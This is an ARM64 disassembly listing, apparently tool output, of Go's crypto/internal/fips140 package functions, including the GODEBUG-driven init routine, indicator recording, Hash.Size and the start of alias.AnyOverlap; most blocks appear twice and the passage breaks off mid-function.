00511afcloc_511afc:
00511afcldr x3, [sp+136]
00511b00ldr x4, [sp+144]
00511b04mov x0, xzr
00511b08adrp x1, 0x1ac000
00511b0cadd x1, x1, 1492
00511b10orr x2, xzr, 30
00511b14bl runtime.concatstring2
00511b18str x0, [sp+104]
00511b1cstr x1, [sp+112]
00511b20bl runtime.convTstring
00511b24str x0, [sp+96]
00511b28mov x1, x0
00511b2cadrp x0, 0xe4000
00511b30add x0, x0, 2944
00511b34bl runtime.gopanic
00511b38hint
00511b3c
00511b3cloc_511b3c:
00511b3cstp x0, x1, [sp+8]
00511b40str x2, [sp+24]
00511b44mov x3, x30
00511b48bl runtime.morestack_noctxt.abi0
00511b4cldp x0, x1, [sp+8]
00511b50ldr x2, [sp+24]
00511b54b 0x511a00
00511b58udf 0
00511b5cudf 0
00511a00
00511b60
00511b60crypto/internal/fips140.init.0: ; void crypto/internal/fips140.init.0(void)
00511b60ldr x16, [x28+16]
00511b64subs xzr, sp, x16
00511b68b.ls 0x511f04
00511b6cstr x30, [sp-112]!
00511b70stur x29, [sp-8]
00511b74sub x29, sp, 8
00511b78adrp x0, 0x1a0000
00511b7cadd x0, x0, 2004
00511b80orr x1, xzr, 8
00511b84bl crypto/internal/fips140deps/godebug.Value
00511b88str x0, [sp+48]
00511b8cstr x1, [sp+56]
00511b90str x0, [sp+88]
00511b94str x1, [sp+96]
00511b98b 0x511b9c
00511b9c
00511b9cloc_511b9c:
00511b9csubs xzr, x1, 2
00511ba0b.le 0x511ba8
00511ba4b 0x511c1c
00511ba8
00511ba8loc_511ba8:
00511ba8cbz x1, 0x511bb0
00511bacb 0x511bc0
00511bb0
00511bb0loc_511bb0:
00511bb0b 0x511bb4
00511bb4
00511bb4loc_511bb4:
00511bb4cbz x1, 0x511bbc
00511bb8b 0x511f00
00511bbc
00511bbcloc_511bbc:
00511bbcb 0x511c94
00511bc0
00511bc0loc_511bc0:
00511bc0subs xzr, x1, 2
00511bc4b.eq 0x511bcc
00511bc8b 0x511ef8
00511bcc
00511bccloc_511bcc:
00511bccb 0x511bd0
00511bd0
00511bd0loc_511bd0:
00511bd0subs xzr, x1, 2
00511bd4b.eq 0x511bdc
00511bd8b 0x511ef4
00511bdc
00511bdcloc_511bdc:
00511bdcsubs xzr, x1, 0
00511be0b.hi 0x511be8
00511be4b 0x511eec
00511be8
00511be8loc_511be8:
00511be8ldrb w5, [x0]
00511becsubs xzr, x1, 1
00511bf0b.hi 0x511bf8
00511bf4b 0x511ee4
00511bf8
00511bf8loc_511bf8:
00511bf8ldrb w6, [x0+1]
00511bfcubfm x6, x6, 56, 7
00511c00orr x5, x5, x6
00511c04ubfm x5, x5, 0, 15
00511c08movz x6, 28271
00511c0csubs wzr, w5, w6
00511c10b.eq 0x511c18
00511c14b 0x511edc
00511c18
00511c18loc_511c18:
00511c18b 0x511d24
00511c1c
00511c1cloc_511c1c:
00511c1csubs xzr, x1, 3
00511c20b.eq 0x511c28
00511c24b 0x511c98
00511c28
00511c28loc_511c28:
00511c28b 0x511c2c
00511c2c
00511c2cloc_511c2c:
00511c2csubs xzr, x1, 3
00511c30b.eq 0x511c38
00511c34b 0x511ed8
00511c38
00511c38loc_511c38:
00511c38subs xzr, x1, 0
00511c3cb.hi 0x511c44
00511c40b 0x511ed0
00511c44
00511c44loc_511c44:
00511c44ldrb w5, [x0]
00511c48subs xzr, x1, 1
00511c4cb.hi 0x511c54
00511c50b 0x511ec8
00511c54
00511c54loc_511c54:
00511c54ldrb w6, [x0+1]
00511c58ubfm x6, x6, 56, 7
00511c5corr x5, x5, x6
00511c60ubfm x5, x5, 0, 15
00511c64movz x6, 26223
00511c68subs wzr, w5, w6
00511c6cb.eq 0x511c74
00511c70b 0x511ec4
00511c74
00511c74loc_511c74:
00511c74subs xzr, x1, 2
00511c78b.hi 0x511c80
00511c7cb 0x511ebc
00511c80
00511c80loc_511c80:
00511c80ldrb w5, [x0+2]
00511c84subs wzr, w5, 102
00511c88b.eq 0x511c90
00511c8cb 0x511eb4
00511c90
00511c90loc_511c90:
00511c90b 0x511c94
00511c94
00511c94loc_511c94:
00511c94b 0x511df4
00511c98
00511c98loc_511c98:
00511c98subs xzr, x1, 4
00511c9cb.eq 0x511ca4
00511ca0b 0x511d34
00511ca4
00511ca4loc_511ca4:
00511ca4b 0x511ca8
00511ca8
00511ca8loc_511ca8:
00511ca8subs xzr, x1, 4
00511cacb.eq 0x511cb4
00511cb0b 0x511eb0
00511cb4
00511cb4loc_511cb4:
00511cb4subs xzr, x1, 0
00511cb8b.hi 0x511cc0
00511cbcb 0x511ea8
00511cc0
00511cc0loc_511cc0:
00511cc0ldrb w5, [x0]
00511cc4subs xzr, x1, 1
00511cc8b.hi 0x511cd0
00511cccb 0x511ea0
00511cd0
00511cd0loc_511cd0:
00511cd0ldrb w6, [x0+1]
00511cd4ubfm x6, x6, 56, 7
00511cd8orr x5, x5, x6
00511cdcsubs xzr, x1, 2
00511ce0b.hi 0x511ce8
00511ce4b 0x511e98
00511ce8
00511ce8loc_511ce8:
00511ce8ldrb w6, [x0+2]
00511cecubfm x6, x6, 48, 7
00511cf0orr x5, x5, x6
00511cf4subs xzr, x1, 3
00511cf8b.hi 0x511d00
00511cfcb 0x511e90
00511d00
00511d00loc_511d00:
00511d00ldrb w6, [x0+3]
00511d04ubfm x6, x6, 40, 7
00511d08orr x5, x5, x6
00511d0cmovz x6, 28271
00511d10movk x6, 0x796c0000
00511d14subs wzr, w5, w6
00511d18b.eq 0x511d20
00511d1cb 0x511e88
00511d20
00511d20loc_511d20:
00511d20b 0x511d24
00511d24
00511d24loc_511d24:
00511d24orr x0, xzr, 1
00511d28adrp x27, 0x53a000
00511d2cstrb w0, [x27+1548]
00511d30b 0x511df4
00511d34
00511d34loc_511d34:
00511d34subs xzr, x1, 5
00511d38b.eq 0x511d40
00511d3cb 0x511e78
00511d40
00511d40loc_511d40:
00511d40b 0x511d44
00511d44
00511d44loc_511d44:
00511d44subs xzr, x1, 5
00511d48b.eq 0x511d50
00511d4cb 0x511e74
00511d50
00511d50loc_511d50:
00511d50subs xzr, x1, 0
00511d54b.hi 0x511d5c
00511d58b 0x511e6c
00511d5c
00511d5cloc_511d5c:
00511d5cldrb w5, [x0]
00511d60subs xzr, x1, 1
00511d64b.hi 0x511d6c
00511d68b 0x511e64
00511d6c
00511d6cloc_511d6c:
00511d6cldrb w6, [x0+1]
00511d70ubfm x6, x6, 56, 7
00511d74orr x5, x5, x6
00511d78subs xzr, x1, 2
00511d7cb.hi 0x511d84
00511d80b 0x511e5c
00511d84
00511d84loc_511d84:
00511d84ldrb w6, [x0+2]
00511d88ubfm x6, x6, 48, 7
00511d8corr x5, x5, x6
00511d90subs xzr, x1, 3
00511d94b.hi 0x511d9c
00511d98b 0x511e54
00511d9c
00511d9cloc_511d9c:
00511d9cldrb w6, [x0+3]
00511da0ubfm x6, x6, 40, 7
00511da4orr x5, x5, x6
00511da8movz x6, 25956
00511dacmovk x6, 0x75620000
00511db0subs wzr, w5, w6
00511db4b.eq 0x511dbc
00511db8b 0x511e50
00511dbc
00511dbcloc_511dbc:
00511dbcsubs xzr, x1, 4
00511dc0b.hi 0x511dc8
00511dc4b 0x511e48
00511dc8
00511dc8loc_511dc8:
00511dc8ldrb w5, [x0+4]
00511dccsubs wzr, w5, 103
00511dd0b.eq 0x511dd8
00511dd4b 0x511e00
00511dd8
00511dd8loc_511dd8:
00511dd8b 0x511ddc
00511ddc
00511ddcloc_511ddc:
00511ddcorr x0, xzr, 1
00511de0adrp x27, 0x53a000
00511de4strb w0, [x27+1548]
00511de8adrp x27, 0x53a000
00511decstrb w0, [x27+1549]
00511df0b 0x511df4
00511df4
00511df4loc_511df4:
00511df4ldur x29, [sp-8]
00511df8ldr x30, [sp], 112
00511dfcret x30
00511e00
00511e00loc_511e00:
00511e00b 0x511e04
00511e04
00511e04loc_511e04:
00511e04b 0x511e08
00511e08
00511e08loc_511e08:
00511e08b 0x511e0c
00511e0c
00511e0cloc_511e0c:
00511e0cldr x3, [sp+48]
00511e10ldr x4, [sp+56]
00511e14mov x0, xzr
00511e18adrp x1, 0x1b4000
00511e1cadd x1, x1, 203
00511e20movz x2, 41
00511e24bl runtime.concatstring2
00511e28str x0, [sp+72]
00511e2cstr x1, [sp+80]
00511e30bl runtime.convTstring
00511e34str x0, [sp+64]
00511e38mov x1, x0
00511e3cadrp x0, 0xe4000
00511e40add x0, x0, 2944
00511e44bl runtime.gopanic
00511e48
00511e48loc_511e48:
00511e48orr x0, xzr, 4
00511e4cbl runtime.panicIndex
00511e50
00511e50loc_511e50:
00511e50b 0x511e04
00511e54
00511e54loc_511e54:
00511e54orr x0, xzr, 3
00511e58bl runtime.panicIndex
00511e5c
00511e5cloc_511e5c:
00511e5corr x0, xzr, 2
00511e60bl runtime.panicIndex
00511e64
00511e64loc_511e64:
00511e64orr x0, xzr, 1
00511e68bl runtime.panicIndex
00511e6c
00511e6cloc_511e6c:
00511e6cmov x0, xzr
00511e70bl runtime.panicIndex
00511e74
00511e74loc_511e74:
00511e74b 0x511e04
00511e78
00511e78loc_511e78:
00511e78b 0x511e7c
00511e7c
00511e7cloc_511e7c:
00511e7cb 0x511e80
00511e80
00511e80loc_511e80:
00511e80b 0x511e84
00511e84
00511e84loc_511e84:
00511e84b 0x511e08
00511e88
00511e88loc_511e88:
00511e88b 0x511e8c
00511e8c
00511e8cloc_511e8c:
00511e8cb 0x511e08
00511e90
00511e90loc_511e90:
00511e90orr x0, xzr, 3
00511e94bl runtime.panicIndex
00511e98
00511e98loc_511e98:
00511e98orr x0, xzr, 2
00511e9cbl runtime.panicIndex
00511ea0
00511ea0loc_511ea0:
00511ea0orr x0, xzr, 1
00511ea4bl runtime.panicIndex
00511ea8
00511ea8loc_511ea8:
00511ea8mov x0, xzr
00511eacbl runtime.panicIndex
00511eb0
00511eb0loc_511eb0:
00511eb0b 0x511e8c
00511eb4
00511eb4loc_511eb4:
00511eb4b 0x511eb8
00511eb8
00511eb8loc_511eb8:
00511eb8b 0x511e08
00511ebc
00511ebcloc_511ebc:
00511ebcorr x0, xzr, 2
00511ec0bl runtime.panicIndex
00511ec4
00511ec4loc_511ec4:
00511ec4b 0x511eb8
00511ec8
00511ec8loc_511ec8:
00511ec8orr x0, xzr, 1
00511eccbl runtime.panicIndex
00511ed0
00511ed0loc_511ed0:
00511ed0mov x0, xzr
00511ed4bl runtime.panicIndex
00511ed8
00511ed8loc_511ed8:
00511ed8b 0x511eb8
00511edc
00511edcloc_511edc:
00511edcb 0x511ee0
00511ee0
00511ee0loc_511ee0:
00511ee0b 0x511e08
00511ee4
00511ee4loc_511ee4:
00511ee4orr x0, xzr, 1
00511ee8bl runtime.panicIndex
00511eec
00511eecloc_511eec:
00511eecmov x0, xzr
00511ef0bl runtime.panicIndex
00511ef4
00511ef4loc_511ef4:
00511ef4b 0x511ee0
00511ef8
00511ef8loc_511ef8:
00511ef8b 0x511efc
00511efc
00511efcloc_511efc:
00511efcb 0x511e84
00511f00
00511f00loc_511f00:
00511f00b 0x511e08
00511f04
00511f04loc_511f04:
00511f04mov x3, x30
00511f08bl runtime.morestack_noctxt.abi0
00511f0cb 0x511b60
00511b60
00511b60crypto/internal/fips140.init.0: ; void crypto/internal/fips140.init.0(void)
00511b60ldr x16, [x28+16]
00511b64subs xzr, sp, x16
00511b68b.ls 0x511f04
00511b6cstr x30, [sp-112]!
00511b70stur x29, [sp-8]
00511b74sub x29, sp, 8
00511b78adrp x0, 0x1a0000
00511b7cadd x0, x0, 2004
00511b80orr x1, xzr, 8
00511b84bl crypto/internal/fips140deps/godebug.Value
00511b88str x0, [sp+48]
00511b8cstr x1, [sp+56]
00511b90str x0, [sp+88]
00511b94str x1, [sp+96]
00511b98b 0x511b9c
00511b9c
00511b9cloc_511b9c:
00511b9csubs xzr, x1, 2
00511ba0b.le 0x511ba8
00511ba4b 0x511c1c
00511ba8
00511ba8loc_511ba8:
00511ba8cbz x1, 0x511bb0
00511bacb 0x511bc0
00511bb0
00511bb0loc_511bb0:
00511bb0b 0x511bb4
00511bb4
00511bb4loc_511bb4:
00511bb4cbz x1, 0x511bbc
00511bb8b 0x511f00
00511bbc
00511bbcloc_511bbc:
00511bbcb 0x511c94
00511bc0
00511bc0loc_511bc0:
00511bc0subs xzr, x1, 2
00511bc4b.eq 0x511bcc
00511bc8b 0x511ef8
00511bcc
00511bccloc_511bcc:
00511bccb 0x511bd0
00511bd0
00511bd0loc_511bd0:
00511bd0subs xzr, x1, 2
00511bd4b.eq 0x511bdc
00511bd8b 0x511ef4
00511bdc
00511bdcloc_511bdc:
00511bdcsubs xzr, x1, 0
00511be0b.hi 0x511be8
00511be4b 0x511eec
00511be8
00511be8loc_511be8:
00511be8ldrb w5, [x0]
00511becsubs xzr, x1, 1
00511bf0b.hi 0x511bf8
00511bf4b 0x511ee4
00511bf8
00511bf8loc_511bf8:
00511bf8ldrb w6, [x0+1]
00511bfcubfm x6, x6, 56, 7
00511c00orr x5, x5, x6
00511c04ubfm x5, x5, 0, 15
00511c08movz x6, 28271
00511c0csubs wzr, w5, w6
00511c10b.eq 0x511c18
00511c14b 0x511edc
00511c18
00511c18loc_511c18:
00511c18b 0x511d24
00511c1c
00511c1cloc_511c1c:
00511c1csubs xzr, x1, 3
00511c20b.eq 0x511c28
00511c24b 0x511c98
00511c28
00511c28loc_511c28:
00511c28b 0x511c2c
00511c2c
00511c2cloc_511c2c:
00511c2csubs xzr, x1, 3
00511c30b.eq 0x511c38
00511c34b 0x511ed8
00511c38
00511c38loc_511c38:
00511c38subs xzr, x1, 0
00511c3cb.hi 0x511c44
00511c40b 0x511ed0
00511c44
00511c44loc_511c44:
00511c44ldrb w5, [x0]
00511c48subs xzr, x1, 1
00511c4cb.hi 0x511c54
00511c50b 0x511ec8
00511c54
00511c54loc_511c54:
00511c54ldrb w6, [x0+1]
00511c58ubfm x6, x6, 56, 7
00511c5corr x5, x5, x6
00511c60ubfm x5, x5, 0, 15
00511c64movz x6, 26223
00511c68subs wzr, w5, w6
00511c6cb.eq 0x511c74
00511c70b 0x511ec4
00511c74
00511c74loc_511c74:
00511c74subs xzr, x1, 2
00511c78b.hi 0x511c80
00511c7cb 0x511ebc
00511c80
00511c80loc_511c80:
00511c80ldrb w5, [x0+2]
00511c84subs wzr, w5, 102
00511c88b.eq 0x511c90
00511c8cb 0x511eb4
00511c90
00511c90loc_511c90:
00511c90b 0x511c94
00511c94
00511c94loc_511c94:
00511c94b 0x511df4
00511c98
00511c98loc_511c98:
00511c98subs xzr, x1, 4
00511c9cb.eq 0x511ca4
00511ca0b 0x511d34
00511ca4
00511ca4loc_511ca4:
00511ca4b 0x511ca8
00511ca8
00511ca8loc_511ca8:
00511ca8subs xzr, x1, 4
00511cacb.eq 0x511cb4
00511cb0b 0x511eb0
00511cb4
00511cb4loc_511cb4:
00511cb4subs xzr, x1, 0
00511cb8b.hi 0x511cc0
00511cbcb 0x511ea8
00511cc0
00511cc0loc_511cc0:
00511cc0ldrb w5, [x0]
00511cc4subs xzr, x1, 1
00511cc8b.hi 0x511cd0
00511cccb 0x511ea0
00511cd0
00511cd0loc_511cd0:
00511cd0ldrb w6, [x0+1]
00511cd4ubfm x6, x6, 56, 7
00511cd8orr x5, x5, x6
00511cdcsubs xzr, x1, 2
00511ce0b.hi 0x511ce8
00511ce4b 0x511e98
00511ce8
00511ce8loc_511ce8:
00511ce8ldrb w6, [x0+2]
00511cecubfm x6, x6, 48, 7
00511cf0orr x5, x5, x6
00511cf4subs xzr, x1, 3
00511cf8b.hi 0x511d00
00511cfcb 0x511e90
00511d00
00511d00loc_511d00:
00511d00ldrb w6, [x0+3]
00511d04ubfm x6, x6, 40, 7
00511d08orr x5, x5, x6
00511d0cmovz x6, 28271
00511d10movk x6, 0x796c0000
00511d14subs wzr, w5, w6
00511d18b.eq 0x511d20
00511d1cb 0x511e88
00511d20
00511d20loc_511d20:
00511d20b 0x511d24
00511d24
00511d24loc_511d24:
00511d24orr x0, xzr, 1
00511d28adrp x27, 0x53a000
00511d2cstrb w0, [x27+1548]
00511d30b 0x511df4
00511d34
00511d34loc_511d34:
00511d34subs xzr, x1, 5
00511d38b.eq 0x511d40
00511d3cb 0x511e78
00511d40
00511d40loc_511d40:
00511d40b 0x511d44
00511d44
00511d44loc_511d44:
00511d44subs xzr, x1, 5
00511d48b.eq 0x511d50
00511d4cb 0x511e74
00511d50
00511d50loc_511d50:
00511d50subs xzr, x1, 0
00511d54b.hi 0x511d5c
00511d58b 0x511e6c
00511d5c
00511d5cloc_511d5c:
00511d5cldrb w5, [x0]
00511d60subs xzr, x1, 1
00511d64b.hi 0x511d6c
00511d68b 0x511e64
00511d6c
00511d6cloc_511d6c:
00511d6cldrb w6, [x0+1]
00511d70ubfm x6, x6, 56, 7
00511d74orr x5, x5, x6
00511d78subs xzr, x1, 2
00511d7cb.hi 0x511d84
00511d80b 0x511e5c
00511d84
00511d84loc_511d84:
00511d84ldrb w6, [x0+2]
00511d88ubfm x6, x6, 48, 7
00511d8corr x5, x5, x6
00511d90subs xzr, x1, 3
00511d94b.hi 0x511d9c
00511d98b 0x511e54
00511d9c
00511d9cloc_511d9c:
00511d9cldrb w6, [x0+3]
00511da0ubfm x6, x6, 40, 7
00511da4orr x5, x5, x6
00511da8movz x6, 25956
00511dacmovk x6, 0x75620000
00511db0subs wzr, w5, w6
00511db4b.eq 0x511dbc
00511db8b 0x511e50
00511dbc
00511dbcloc_511dbc:
00511dbcsubs xzr, x1, 4
00511dc0b.hi 0x511dc8
00511dc4b 0x511e48
00511dc8
00511dc8loc_511dc8:
00511dc8ldrb w5, [x0+4]
00511dccsubs wzr, w5, 103
00511dd0b.eq 0x511dd8
00511dd4b 0x511e00
00511dd8
00511dd8loc_511dd8:
00511dd8b 0x511ddc
00511ddc
00511ddcloc_511ddc:
00511ddcorr x0, xzr, 1
00511de0adrp x27, 0x53a000
00511de4strb w0, [x27+1548]
00511de8adrp x27, 0x53a000
00511decstrb w0, [x27+1549]
00511df0b 0x511df4
00511df4
00511df4loc_511df4:
00511df4ldur x29, [sp-8]
00511df8ldr x30, [sp], 112
00511dfcret x30
00511e00
00511e00loc_511e00:
00511e00b 0x511e04
00511e04
00511e04loc_511e04:
00511e04b 0x511e08
00511e08
00511e08loc_511e08:
00511e08b 0x511e0c
00511e0c
00511e0cloc_511e0c:
00511e0cldr x3, [sp+48]
00511e10ldr x4, [sp+56]
00511e14mov x0, xzr
00511e18adrp x1, 0x1b4000
00511e1cadd x1, x1, 203
00511e20movz x2, 41
00511e24bl runtime.concatstring2
00511e28str x0, [sp+72]
00511e2cstr x1, [sp+80]
00511e30bl runtime.convTstring
00511e34str x0, [sp+64]
00511e38mov x1, x0
00511e3cadrp x0, 0xe4000
00511e40add x0, x0, 2944
00511e44bl runtime.gopanic
00511e48
00511e48loc_511e48:
00511e48orr x0, xzr, 4
00511e4cbl runtime.panicIndex
00511e50
00511e50loc_511e50:
00511e50b 0x511e04
00511e54
00511e54loc_511e54:
00511e54orr x0, xzr, 3
00511e58bl runtime.panicIndex
00511e5c
00511e5cloc_511e5c:
00511e5corr x0, xzr, 2
00511e60bl runtime.panicIndex
00511e64
00511e64loc_511e64:
00511e64orr x0, xzr, 1
00511e68bl runtime.panicIndex
00511e6c
00511e6cloc_511e6c:
00511e6cmov x0, xzr
00511e70bl runtime.panicIndex
00511e74
00511e74loc_511e74:
00511e74b 0x511e04
00511e78
00511e78loc_511e78:
00511e78b 0x511e7c
00511e7c
00511e7cloc_511e7c:
00511e7cb 0x511e80
00511e80
00511e80loc_511e80:
00511e80b 0x511e84
00511e84
00511e84loc_511e84:
00511e84b 0x511e08
00511e88
00511e88loc_511e88:
00511e88b 0x511e8c
00511e8c
00511e8cloc_511e8c:
00511e8cb 0x511e08
00511e90
00511e90loc_511e90:
00511e90orr x0, xzr, 3
00511e94bl runtime.panicIndex
00511e98
00511e98loc_511e98:
00511e98orr x0, xzr, 2
00511e9cbl runtime.panicIndex
00511ea0
00511ea0loc_511ea0:
00511ea0orr x0, xzr, 1
00511ea4bl runtime.panicIndex
00511ea8
00511ea8loc_511ea8:
00511ea8mov x0, xzr
00511eacbl runtime.panicIndex
00511eb0
00511eb0loc_511eb0:
00511eb0b 0x511e8c
00511eb4
00511eb4loc_511eb4:
00511eb4b 0x511eb8
00511eb8
00511eb8loc_511eb8:
00511eb8b 0x511e08
00511ebc
00511ebcloc_511ebc:
00511ebcorr x0, xzr, 2
00511ec0bl runtime.panicIndex
00511ec4
00511ec4loc_511ec4:
00511ec4b 0x511eb8
00511ec8
00511ec8loc_511ec8:
00511ec8orr x0, xzr, 1
00511eccbl runtime.panicIndex
00511ed0
00511ed0loc_511ed0:
00511ed0mov x0, xzr
00511ed4bl runtime.panicIndex
00511ed8
00511ed8loc_511ed8:
00511ed8b 0x511eb8
00511edc
00511edcloc_511edc:
00511edcb 0x511ee0
00511ee0
00511ee0loc_511ee0:
00511ee0b 0x511e08
00511ee4
00511ee4loc_511ee4:
00511ee4orr x0, xzr, 1
00511ee8bl runtime.panicIndex
00511eec
00511eecloc_511eec:
00511eecmov x0, xzr
00511ef0bl runtime.panicIndex
00511ef4
00511ef4loc_511ef4:
00511ef4b 0x511ee0
00511ef8
00511ef8loc_511ef8:
00511ef8b 0x511efc
00511efc
00511efcloc_511efc:
00511efcb 0x511e84
00511f00
00511f00loc_511f00:
00511f00b 0x511e08
00511f04
00511f04loc_511f04:
00511f04mov x3, x30
00511f08bl runtime.morestack_noctxt.abi0
00511f0cb 0x511b60
00511b60
00511f10
00511f10crypto/internal/fips140.Supported: ; void crypto/internal/fips140.Supported(void)
00511f10str x30, [sp-32]!
00511f14stur x29, [sp-8]
00511f18sub x29, sp, 8
00511f1cstp xzr, xzr, [sp+8]
00511f20b 0x511f24
00511f24
00511f24loc_511f24:
00511f24stp xzr, xzr, [sp+8]
00511f28mov x0, xzr
00511f2cmov x1, xzr
00511f30add x29, sp, 24
00511f34add sp, sp, 32
00511f38ret x30
00511f3cudf 0
00511f10
00511f10crypto/internal/fips140.Supported: ; void crypto/internal/fips140.Supported(void)
00511f10str x30, [sp-32]!
00511f14stur x29, [sp-8]
00511f18sub x29, sp, 8
00511f1cstp xzr, xzr, [sp+8]
00511f20b 0x511f24
00511f24
00511f24loc_511f24:
00511f24stp xzr, xzr, [sp+8]
00511f28mov x0, xzr
00511f2cmov x1, xzr
00511f30add x29, sp, 24
00511f34add sp, sp, 32
00511f38ret x30
00511f3cudf 0
00511f10
00511f40
00511f40crypto/internal/fips140.RecordApproved: ; void crypto/internal/fips140.RecordApproved(void)
00511f40ldr x16, [x28+16]
00511f44subs xzr, sp, x16
00511f48b.ls 0x511f88
00511f4cstr x30, [sp-32]!
00511f50stur x29, [sp-8]
00511f54sub x29, sp, 8
00511f58bl crypto/internal/fips140.getIndicator
00511f5cstrb w0, [sp+23]
00511f60ubfm x0, x0, 0, 7
00511f64cbz w0, 0x511f6c
00511f68b 0x511f78
00511f6c
00511f6cloc_511f6c:
00511f6corr x0, xzr, 2
00511f70bl crypto/internal/fips140.setIndicator
00511f74b 0x511f7c
00511f78
00511f78loc_511f78:
00511f78b 0x511f7c
00511f7c
00511f7cloc_511f7c:
00511f7cldur x29, [sp-8]
00511f80ldr x30, [sp], 32
00511f84ret x30
00511f88
00511f88loc_511f88:
00511f88mov x3, x30
00511f8cbl runtime.morestack_noctxt.abi0
00511f90b 0x511f40
00511f94udf 0
00511f98udf 0
00511f9cudf 0
00511f40
00511f40crypto/internal/fips140.RecordApproved: ; void crypto/internal/fips140.RecordApproved(void)
00511f40ldr x16, [x28+16]
00511f44subs xzr, sp, x16
00511f48b.ls 0x511f88
00511f4cstr x30, [sp-32]!
00511f50stur x29, [sp-8]
00511f54sub x29, sp, 8
00511f58bl crypto/internal/fips140.getIndicator
00511f5cstrb w0, [sp+23]
00511f60ubfm x0, x0, 0, 7
00511f64cbz w0, 0x511f6c
00511f68b 0x511f78
00511f6c
00511f6cloc_511f6c:
00511f6corr x0, xzr, 2
00511f70bl crypto/internal/fips140.setIndicator
00511f74b 0x511f7c
00511f78
00511f78loc_511f78:
00511f78b 0x511f7c
00511f7c
00511f7cloc_511f7c:
00511f7cldur x29, [sp-8]
00511f80ldr x30, [sp], 32
00511f84ret x30
00511f88
00511f88loc_511f88:
00511f88mov x3, x30
00511f8cbl runtime.morestack_noctxt.abi0
00511f90b 0x511f40
00511f94udf 0
00511f98udf 0
00511f9cudf 0
00511f40
00511fa0
00511fa0crypto/internal/fips140.RecordNonApproved: ; void crypto/internal/fips140.RecordNonApproved(void)
00511fa0ldr x16, [x28+16]
00511fa4subs xzr, sp, x16
00511fa8b.ls 0x511fcc
00511facstr x30, [sp-32]!
00511fb0stur x29, [sp-8]
00511fb4sub x29, sp, 8
00511fb8orr x0, xzr, 1
00511fbcbl crypto/internal/fips140.setIndicator
00511fc0ldur x29, [sp-8]
00511fc4ldr x30, [sp], 32
00511fc8ret x30
00511fcc
00511fccloc_511fcc:
00511fccmov x3, x30
00511fd0bl runtime.morestack_noctxt.abi0
00511fd4b 0x511fa0
00511fd8udf 0
00511fdcudf 0
00511fa0
00511fa0crypto/internal/fips140.RecordNonApproved: ; void crypto/internal/fips140.RecordNonApproved(void)
00511fa0ldr x16, [x28+16]
00511fa4subs xzr, sp, x16
00511fa8b.ls 0x511fcc
00511facstr x30, [sp-32]!
00511fb0stur x29, [sp-8]
00511fb4sub x29, sp, 8
00511fb8orr x0, xzr, 1
00511fbcbl crypto/internal/fips140.setIndicator
00511fc0ldur x29, [sp-8]
00511fc4ldr x30, [sp], 32
00511fc8ret x30
00511fcc
00511fccloc_511fcc:
00511fccmov x3, x30
00511fd0bl runtime.morestack_noctxt.abi0
00511fd4b 0x511fa0
00511fd8udf 0
00511fdcudf 0
00511fa0
00511fe0
00511fe0crypto/internal/fips140.Hash.Size: ; void crypto/internal/fips140.Hash.Size(crypto/internal/fips140.Hash p0)
00511fe0ldr x16, [x28+16]
00511fe4subs xzr, sp, x16
00511fe8b.ls 0x512030
00511fecstr x30, [sp-48]!
00511ff0stur x29, [sp-8]
00511ff4sub x29, sp, 8
00511ff8ldr x16, [x28+32]
00511ffccbnz x16, 0x512044
00512000
00512000loc_512000:
00512000str x0, [sp+56]
00512004str x1, [sp+64]
00512008str xzr, [sp+24]
0051200cldrsb x27, [x0]
00512010ldr x2, [x0+40]
00512014mov x0, x1
00512018blr x2
0051201cstr x0, [sp+32]
00512020str x0, [sp+24]
00512024ldur x29, [sp-8]
00512028ldr x30, [sp], 48
0051202cret x30
00512030
00512030loc_512030:
00512030stp x0, x1, [sp+8]
00512034mov x3, x30
00512038bl runtime.morestack_noctxt.abi0
0051203cldp x0, x1, [sp+8]
00512040b 0x511fe0
00512044
00512044loc_512044:
00512044ldr x17, [x16]
00512048add x20, sp, 56
0051204csubs xzr, x20, x17
00512050b.ne 0x512000
00512054add x20, sp, 8
00512058str x20, [x16]
0051205cb 0x512000
00511fe0
00511fe0crypto/internal/fips140.Hash.Size: ; void crypto/internal/fips140.Hash.Size(crypto/internal/fips140.Hash p0)
00511fe0ldr x16, [x28+16]
00511fe4subs xzr, sp, x16
00511fe8b.ls 0x512030
00511fecstr x30, [sp-48]!
00511ff0stur x29, [sp-8]
00511ff4sub x29, sp, 8
00511ff8ldr x16, [x28+32]
00511ffccbnz x16, 0x512044
00512000
00512000loc_512000:
00512000str x0, [sp+56]
00512004str x1, [sp+64]
00512008str xzr, [sp+24]
0051200cldrsb x27, [x0]
00512010ldr x2, [x0+40]
00512014mov x0, x1
00512018blr x2
0051201cstr x0, [sp+32]
00512020str x0, [sp+24]
00512024ldur x29, [sp-8]
00512028ldr x30, [sp], 48
0051202cret x30
00512030
00512030loc_512030:
00512030stp x0, x1, [sp+8]
00512034mov x3, x30
00512038bl runtime.morestack_noctxt.abi0
0051203cldp x0, x1, [sp+8]
00512040b 0x511fe0
00512044
00512044loc_512044:
00512044ldr x17, [x16]
00512048add x20, sp, 56
0051204csubs xzr, x20, x17
00512050b.ne 0x512000
00512054add x20, sp, 8
00512058str x20, [x16]
0051205cb 0x512000
00511fe0
00512060
00512060crypto/internal/fips140/alias.AnyOverlap: ; void crypto/internal/fips140/alias.AnyOverlap(struct []uint8 x, struct []uint8 y)
00512060ldr x16, [x28+16]
00512064subs xzr, sp, x16
00512068b.ls 0x5121b4
0051206cstr x30, [sp-64]!
00512070stur x29, [sp-8]
00512074sub x29, sp, 8
00512078str x0, [sp+72]
0051207cstr x1, [sp+80]
00512080str x2, [sp+88]
00512084str x3, [sp+96]
00512088str x4, [sp+104]
0051208cstr x5, [sp+112]
00512090strb wzr, [sp+36]
00512094ldr x2, [sp+80]
00512098str x2, [sp+48]
0051209csubs xzr, x2, 0
005120a0cset x3, ne
005120a4strb w3, [sp+37]
005120a8cbnz x2, 0x5120b0
005120acb 0x5120c8
005120b0
005120b0loc_5120b0:
005120b0ldr x2, [sp+104]
005120b4str x2, [sp+40]
005120b8subs xzr, x2, 0
005120bccset x2, ne
005120c0strb w2, [sp+37]
005120c4b 0x5120cc
005120c8
005120c8loc_5120c8:
005120c8b 0x5120cc
005120cc
005120ccloc_5120cc:
005120ccldrb w2, [sp+37]
005120d0strb w2, [sp+38]
005120d4tbnz w2, 0, 0x5120dc
005120d8b 0x512124
005120dc
005120dcloc_5120dc:
005120dcldr x2, [sp+104]
005120e0str x2, [sp+40]
005120e4ldr x1, [sp+80]
005120e8ldr x3, [sp+72]
005120ecsubs xzr, x1, 0
005120f0b.hi 0x5120f8
005120f4b 0x5121a8
005120f8
005120f8loc_5120f8:
005120f8ldr x1, [sp+104]
